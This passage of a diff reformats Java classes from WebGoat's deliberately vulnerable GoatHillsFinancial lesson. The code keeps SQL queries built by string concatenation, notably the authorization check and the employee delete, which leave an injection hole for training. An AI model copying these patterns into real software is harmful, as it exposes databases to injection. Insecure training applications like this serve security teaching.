s.setMessage("Error getting user name");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error getting user name" );
s.setMessage("Error getting user name");
e.printStackTrace();
}
@ -232,8 +224,7 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
authenticated = getBooleanSessionAttribute(s, getLessonName() + ".isAuthenticated");
}
catch (ParameterNotFoundException e)
} catch (ParameterNotFoundException e)
{
}
@ -242,45 +233,51 @@ public abstract class DefaultLessonAction implements LessonAction
public boolean isAuthorized(WebSession s, int employeeId, String functionId)
{
String employer_id = (String)s.getRequest().getSession().getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
//System.out.println("Authorizing " + employeeId + " for use of function: " + functionId + " having USER_ID = " + employer_id );
String employer_id = (String) s.getRequest().getSession()
.getAttribute(getLessonName() + "." + RoleBasedAccessControl.USER_ID);
// System.out.println("Authorizing " + employeeId + " for use of function: " + functionId +
// " having USER_ID = "
// + employer_id );
boolean authorized = false;
try
{
String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = " + employeeId + ") and functionid = '" + functionId + "'";
String query = "SELECT * FROM auth WHERE auth.role in (SELECT roles.role FROM roles WHERE userid = "
+ employeeId + ") and functionid = '" + functionId + "'";
try
{
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
ResultSet answer_results = answer_statement.executeQuery( query );
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
authorized = answer_results.first();
/* User is validated for function, but can the user perform that function on the specified user? */
if(authorized)
/*
* User is validated for function, but can the user perform that function on the
* specified user?
*/
if (authorized)
{
authorized = isAuthorizedForEmployee(s, Integer.parseInt(employer_id), employeeId);
}
}
catch ( SQLException sqle )
} catch (SQLException sqle)
{
s.setMessage( "Error authorizing" );
s.setMessage("Error authorizing");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error authorizing" );
s.setMessage("Error authorizing");
e.printStackTrace();
}
//System.out.println("Authorized? " + authorized);
// System.out.println("Authorized? " + authorized);
return authorized;
}
public boolean isAuthorizedForEmployee(WebSession s, int userId, int employeeId)
{
//System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
// System.out.println("Authorizing " + userId + " for access to employee: " + employeeId);
boolean authorized = false;
try
@ -290,22 +287,20 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, userId);
answer_statement.setInt(2, employeeId);
ResultSet answer_results = answer_statement.executeQuery();
authorized = answer_results.first();
}
catch ( SQLException sqle )
} catch (SQLException sqle)
{
s.setMessage( "Error authorizing" );
s.setMessage("Error authorizing");
sqle.printStackTrace();
}
}
catch ( Exception e )
} catch (Exception e)
{
s.setMessage( "Error authorizing" );
s.setMessage("Error authorizing");
e.printStackTrace();
}
@ -317,7 +312,8 @@ public abstract class DefaultLessonAction implements LessonAction
getLesson().setStage(s, stage);
}
protected void setStageComplete(WebSession s, String stage) {
protected void setStageComplete(WebSession s, String stage)
{
getLesson().setStageComplete(s, stage);
}

View File

@ -1,41 +1,40 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -44,23 +43,19 @@ public class DeleteProfile extends DefaultLessonAction
private LessonAction chainedAction;
public DeleteProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
getLesson().setCurrentAction(s, getActionName());
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
if (isAuthenticated(s))
{
@ -69,13 +64,11 @@ public class DeleteProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -91,28 +84,24 @@ public class DeleteProfile extends DefaultLessonAction
return GoatHillsFinancial.LISTSTAFF_ACTION;
}
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId)
throws UnauthorizedException
public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
{
try
{
// Note: The password field is ONLY set by ChangePassword
String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query);
// System.out.println("Query: " + query);
try
{
Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query);
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error deleting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error deleting employee profile");
e.printStackTrace();

View File

@ -1,67 +1,63 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class EditProfile extends DefaultLessonAction
{
public EditProfile(GoatHillsFinancial lesson, String lessonName,
String actionName)
public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(
GoatHillsFinancial.EMPLOYEE_ID);
int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
}
else
throw new UnauthenticatedException();
@ -72,8 +68,7 @@ public class EditProfile extends DefaultLessonAction
return GoatHillsFinancial.EDITPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
@ -84,43 +79,31 @@ public class EditProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
@ -11,32 +11,31 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -45,26 +44,20 @@ public class FindProfile extends DefaultLessonAction
private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName,
String actionName, LessonAction chainedAction)
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
if (isAuthenticated(s))
{
int userId = getIntSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.USER_ID);
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
String pattern = s.getParser().getRawParameter(
GoatHillsFinancial.SEARCHNAME);
String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME);
findEmployeeProfile(s, userId, pattern);
@ -74,13 +67,11 @@ public class FindProfile extends DefaultLessonAction
try
{
chainedAction.handleRequest(s);
}
catch (UnauthenticatedException ue1)
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
@ -91,41 +82,34 @@ public class FindProfile extends DefaultLessonAction
throw new UnauthenticatedException();
}
public String getNextPage(WebSession s)
{
String page = GoatHillsFinancial.SEARCHSTAFF_ACTION;
if (foundEmployee(s))
page = GoatHillsFinancial.VIEWPROFILE_ACTION;
if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION;
return page;
}
private boolean foundEmployee(WebSession s)
{
boolean found = false;
try
{
getIntRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
found = true;
} catch (ParameterNotFoundException e)
{
}
catch (ParameterNotFoundException e)
{}
return found;
}
public Employee findEmployeeProfile(WebSession s, int userId, String pattern)
throws UnauthorizedException
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
{
Employee profile = null;
// Clear any residual employee id's in the session now.
removeSessionAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID);
removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
// Query the database for the profile data of the given employee
try
@ -134,10 +118,8 @@ public class FindProfile extends DefaultLessonAction
try
{
PreparedStatement answer_statement = WebSession
.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery();
@ -147,38 +129,27 @@ public class FindProfile extends DefaultLessonAction
{
int id = answer_results.getInt("userid");
// Note: Do NOT get the password field.
profile = new Employee(id, answer_results
.getString("first_name"), answer_results
.getString("last_name"), answer_results
.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"),
answer_results.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/
setRequestAttribute(s, getLessonName() + "."
+ GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(id));
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id));
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
s.setMessage("Error finding employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error finding employee profile");
e.printStackTrace();

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.util.ArrayList;
import java.util.Hashtable;
import java.util.List;
import java.util.Map;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -16,38 +16,40 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
public class GoatHillsFinancial extends RandomLessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
public final static String DESCRIPTION = "description";
@ -125,7 +127,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
registerActions(myClassName);
}
protected void registerActions(String className) {
protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
@ -133,16 +136,11 @@ public class GoatHillsFinancial extends RandomLessonAdapter
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
protected final String parseClassName(String fqcn)
@ -150,8 +148,7 @@ public class GoatHillsFinancial extends RandomLessonAdapter
String className = fqcn;
int lastDotIndex = fqcn.lastIndexOf('.');
if (lastDotIndex > -1)
className = fqcn.substring(lastDotIndex + 1);
if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1);
return className;
}
@ -161,7 +158,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
lessonFunctions.put(action.getActionName(), action);
}
public String[] getStages() {
public String[] getStages()
{
return new String[] {};
}
@ -182,15 +180,13 @@ public class GoatHillsFinancial extends RandomLessonAdapter
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null)
s.openLessonSession(this);
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{
requestedActionName = s.getParser().getStringParameter("action");
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
@ -202,9 +198,11 @@ public class GoatHillsFinancial extends RandomLessonAdapter
if (action == null)
{
setCurrentAction(s, ERROR_ACTION);
} else
}
else
{
//System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + action.getActionName());
// System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " +
// action.getActionName());
if (action.requiresAuthentication())
{
if (action.isAuthenticated(s))
@ -220,33 +218,28 @@ public class GoatHillsFinancial extends RandomLessonAdapter
action.handleRequest(s);
}
}
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
} catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
} catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
} catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace();
}
catch (Exception e)
} catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
@ -260,7 +253,7 @@ public class GoatHillsFinancial extends RandomLessonAdapter
public boolean isAuthorized(WebSession s, int userId, String functionId)
{
//System.out.println("Checking authorization from " + getCurrentAction(s));
// System.out.println("Checking authorization from " + getCurrentAction(s));
LessonAction action = getAction(getCurrentAction(s));
return action.isAuthorized(s, userId, functionId);
}
@ -277,7 +270,8 @@ public class GoatHillsFinancial extends RandomLessonAdapter
return action.getUserName(s);
}
protected String getJspPath() {
protected String getJspPath()
{
return "/lessons/" + getLessonName() + "/";
}
@ -307,12 +301,13 @@ public class GoatHillsFinancial extends RandomLessonAdapter
{
// FIXME: Need to generalize findSourceResource() and use it on the currently active
// LessonAction delegate to get its source file.
//return findSourceResource(getCurrentLessonScreen()....);
// return findSourceResource(getCurrentLessonScreen()....);
return super.getSourceFileName();
}
@Override
protected boolean getDefaultHidden() {
protected boolean getDefaultHidden()
{
return getClass().equals(GoatHillsFinancial.class);
}
@ -322,11 +317,11 @@ public class GoatHillsFinancial extends RandomLessonAdapter
}
@Override
protected String getLessonName() {
protected String getLessonName()
{
String className = getClass().getName();
int index = className.lastIndexOf('.');
if (index > -1)
return className.substring(index+1);
if (index > -1) return className.substring(index + 1);
return super.getLessonName();
}
}

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import org.owasp.webgoat.session.ParameterNotFoundException;
@ -6,10 +7,11 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
public interface LessonAction
{
public void handleRequest(WebSession s)
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException;
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException;
public String getNextPage(WebSession s);

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.ResultSet;
@ -5,39 +6,37 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.List;
import java.util.Vector;
import org.owasp.webgoat.session.EmployeeStub;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -49,19 +48,17 @@ public class ListStaff extends DefaultLessonAction
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{
